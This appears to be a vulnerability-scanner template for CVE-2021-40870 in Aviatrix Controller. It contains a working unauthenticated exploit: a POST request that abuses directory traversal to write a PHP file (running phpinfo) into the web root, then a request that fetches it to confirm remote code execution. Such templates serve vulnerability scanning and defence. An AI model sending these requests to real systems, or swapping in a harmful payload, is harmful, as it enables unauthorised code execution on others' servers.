47 lines
1.4 KiB
YAML
47 lines
1.4 KiB
YAML
id: CVE-2021-40870
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info:
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name: Aviatrix Controller 6.x before 6.5-1804.1922 Remote Command Execution
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author: pikpikcu
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severity: critical
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description: Aviatrix Controller 6.x before 6.5-1804.1922 contains a vulnerability that allows unrestricted upload of a file with a dangerous type, which allows an unauthenticated user to execute arbitrary code via directory traversal.
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reference:
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- https://docs.aviatrix.com/HowTos/UCC_Release_Notes.html#security-note-9-11-2021
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- https://wearetradecraft.com/advisories/tc-2021-0002/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-40870
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-40870
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cwe-id: CWE-434
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tags: cve,cve2021,rce,aviatrix,kev,fileupload,intrusive
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requests:
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- raw:
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POST /v1/backend1 HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{{randstr}}.php&data=HACKERMAN<?php phpinfo()?>
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GET /v1/{{randstr}}.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- 'HACKERMAN'
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- "PHP Extension"
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- "PHP Version"
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condition: and
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# Enhanced by mp on 2022/03/06
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